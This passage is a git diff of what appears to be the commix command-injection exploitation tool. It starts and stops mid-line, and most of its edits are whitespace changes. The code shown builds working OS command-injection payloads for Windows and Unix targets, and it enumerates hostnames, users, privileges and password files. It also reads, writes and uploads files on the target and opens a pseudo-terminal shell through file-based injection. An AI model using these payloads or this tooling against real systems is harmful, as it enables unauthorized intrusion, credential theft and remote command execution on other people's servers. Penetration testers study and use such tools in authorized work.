\"tokens=*\" %i in ('cmd /c \"" + + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + + "\"') do @set /p = %i " + settings.CMD_NUL + separator + "echo " + TAG + separator + "echo " + TAG + "`)%3B" ) else: - if settings.SKIP_CALC: + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -92,7 +92,7 @@ def decision(separator, TAG, randv1, randv2): def decision_alter_shell(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" - if settings.SKIP_CALC: + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -114,14 +114,14 @@ def decision_alter_shell(separator, TAG, randv1, randv2): ) else: payload = ("print(`echo " + TAG + - separator +python_payload + + separator +python_payload + separator + "echo " + TAG + separator + "echo " + TAG + "`)%3B" ) else: python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" - if settings.SKIP_CALC: + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -155,12 +155,12 @@ def decision_alter_shell(separator, TAG, randv1, randv2): """ def cmd_execution(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " + + cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p = %i " + settings.CMD_NUL ) if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + "`" + cmd + "`." + "`echo " + TAG + "`." + @@ -168,23 +168,23 @@ def cmd_execution(separator, TAG, cmd): ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + separator + cmd + separator + "echo '" + TAG + "'" + separator + "echo '" + TAG + "'`)%3B" ) - else: + else: settings.USER_SUPPLIED_CMD = cmd if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + "`" + cmd + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + separator + cmd + separator + "echo '" + TAG + "'" + @@ -202,20 +202,20 @@ def cmd_execution_alter_shell(separator, TAG, cmd): payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: - python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " + - settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + + python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " + + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + "') do @set /p = %i " + settings.CMD_NUL ) if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + "`" + python_payload + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + separator + python_payload + separator + "echo '" + TAG + "'" + @@ -223,14 +223,14 @@ def cmd_execution_alter_shell(separator, TAG, cmd): ) else: if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + "`" + cmd + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + separator +cmd + separator + "echo '" + TAG + "'" + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 6c3a72395b..7f03135077 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -30,7 +30,7 @@ """ Powershell's version number enumeration (for Windows OS) """ -def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): +def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False cmd = settings.PS_VERSION if alter_shell: @@ -55,7 +55,7 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False if settings.TARGET_OS == settings.OS.WINDOWS: - settings.HOSTNAME = settings.WIN_HOSTNAME + settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -71,11 +71,11 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ """ Retrieve system information """ -def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): +def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS + cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -145,8 +145,8 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w _ = False if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT + else: + cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -163,13 +163,13 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w """ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False - cmd = settings.SYS_USERS + cmd = settings.SYS_USERS if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) + else: + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -185,8 +185,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h System passwords enumeration """ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - cmd = settings.SYS_PASSES + _ = False + cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -213,7 +213,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell) + checks.print_single_os_cmd(cmd, shell) """ Check the defined options @@ -233,7 +233,7 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ checks.print_enumenation().hostname_msg() hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True - + if menu.options.current_user: checks.print_enumenation().current_user_msg() current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index ea5213211c..4df1f82d0e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -39,9 +39,9 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) cmd = checks.delete_tmp(tmp_fname) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) else: cmd = checks.write_content(content, dest_to_write) cmd = cmd + settings.COMMENT @@ -72,7 +72,7 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht Read a file from the target host. """ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd, file_to_read = checks.file_content_to_read() + cmd, file_to_read = checks.file_content_to_read() if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) @@ -100,6 +100,6 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ if menu.options.file_read: file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True + settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 1f6caab6ee..934c44a2ce 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -42,7 +42,7 @@ """ """ -Check ff temp-based technique has failed, +Check ff temp-based technique has failed, then use the "/tmp/" directory for tempfile-based technique. """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): @@ -50,7 +50,7 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met info_msg = "Trying to create a file in temporary " info_msg += "directory (" + tmp_path + ") for command execution output.\n" sys.stdout.write(settings.print_info_msg(info_msg)) - call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) return call_tfb else : sys.stdout.write("\r") @@ -66,7 +66,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE - else: + else: cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -78,7 +78,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www" - message = "Please provide the host's root directory (e.g. '" + message = "Please provide the host's root directory (e.g. '" message += example_root_dir + "') > " settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True) if settings.WEB_ROOT.endswith(("\\", "/")): @@ -93,7 +93,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon Return TEMP path for win / *nix targets. """ def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): - # Set temp path + # Set temp path if settings.TARGET_OS == settings.OS.WINDOWS: if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" @@ -125,7 +125,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons # Add "/html" to servers root directory settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: - settings.WEB_ROOT = settings.WEB_ROOT + settings.WEB_ROOT = settings.WEB_ROOT except IndexError: pass # Add "/html" to servers root directory @@ -154,7 +154,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons path = _urllib.parse.urlparse(url).path path_parts = path.split('/') count = 0 - for part in path_parts: + for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] @@ -162,7 +162,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR if settings.TARGET_OS == settings.OS.WINDOWS: settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") - + return tmp_path @@ -204,9 +204,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - if not settings.LOAD_SESSION or settings.RETEST == True: - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - info_msg = "Trying to create a file in '" + settings.WEB_ROOT + if not settings.LOAD_SESSION or settings.RETEST == True: + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution output. " print(settings.print_info_msg(info_msg)) @@ -245,11 +245,11 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) - + if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. - OUTPUT_TEXTFILE = TAG + ".txt" + OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: @@ -261,7 +261,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) - + # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) @@ -276,7 +276,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + print(settings.print_payload(payload_msg)) # Cookie Injection if settings.COOKIE_INJECTION == True: @@ -288,7 +288,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) + response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: @@ -315,7 +315,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Find the directory. output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) - + try: # Check if defined extra headers. @@ -346,7 +346,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r tmp_path = os.path.split(menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise - + # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): @@ -358,7 +358,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) sys.stdout.write("\r") message = "It seems that you don't have permissions to " - message += "read and/or write files in '" + settings.WEB_ROOT + "'. " + message += "read and/or write files in '" + settings.WEB_ROOT + "'. " while True: message = message + "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) @@ -382,23 +382,23 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r common.invalid_option(tmp_upload) pass continue - + else: if finalize(exit_loops, no_result, float_percent, injection_type, technique): continue else: raise - + elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() - + elif str(e.getcode()) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() - + except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) if 'vuln_parameter' in locals(): @@ -406,7 +406,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise - except _urllib.error.URLError as e: + except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) @@ -417,11 +417,11 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue - + except: raise - - # Yaw, got shellz! + + # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True @@ -435,27 +435,27 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r not next_attack_vector: next_attack_vector = True - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.HOST_INJECTION == True: + elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION == True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -470,14 +470,14 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) + logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: @@ -497,7 +497,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False + settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True @@ -507,7 +507,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: - menu.options.ignore_session = True + menu.options.ignore_session = True fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) break elif enumerate_again in settings.CHOICE_NO: @@ -523,7 +523,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: if menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: @@ -534,7 +534,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r menu.options.ignore_session = True fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) break - elif file_access_again in settings.CHOICE_NO: + elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) @@ -546,13 +546,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: if menu.file_access_options(): fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + # Check if defined single cmd. if menu.options.os_cmd: fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + # Pseudo-Terminal shell try: checks.alert() @@ -585,7 +585,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back and go_back_again == False: break if go_back and go_back_again: - return True + return True else: time.sleep(timesec) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -610,23 +610,23 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r break else: if no_result == True: - return False + return False else: - return True + return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - common.invalid_option(gotshell) + common.invalid_option(gotshell) pass - - except KeyboardInterrupt: + + except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise - + if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 8db00d67a1..28a00bbba7 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -42,25 +42,25 @@ Check if target host is vulnerable. """ def injection_test(payload, http_request_method, url): - + # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: - + # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - + # Encoding spaces. payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") - + # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) - + # Check if defined extra headers. headers.do_check(request) - + try: # Get the response of the request response = requests.get_request_response(request) @@ -74,7 +74,7 @@ def injection_test(payload, http_request_method, url): # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -82,7 +82,7 @@ def injection_test(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) @@ -92,7 +92,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) - + try: # Get the response of the request response = requests.get_request_response(request) @@ -135,14 +135,14 @@ def custom_header_injection_test(url, vuln_parameter, payload): The main command injection exploitation. """ def injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - + def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - + # Execute shell commands on vulnerable host. if alter_shell : - payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) + payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) else: - payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) + payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) @@ -165,7 +165,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht sys.stdout.flush() output_payload = "\n" + settings.print_payload(payload) if settings.VERBOSITY_LEVEL != 0: - output_payload = output_payload + "\n" + output_payload = output_payload + "\n" sys.stdout.write(output_payload) # Check if defined cookie with "INJECT_HERE" tag @@ -175,7 +175,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) - + # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) @@ -198,9 +198,9 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) # Check if defined extra headers. - headers.do_check(request) + headers.do_check(request) # Get the response of the request - response = requests.get_request_response(request) + response = requests.get_request_response(request) else: # Check if defined method is POST. @@ -211,7 +211,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -219,14 +219,14 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, 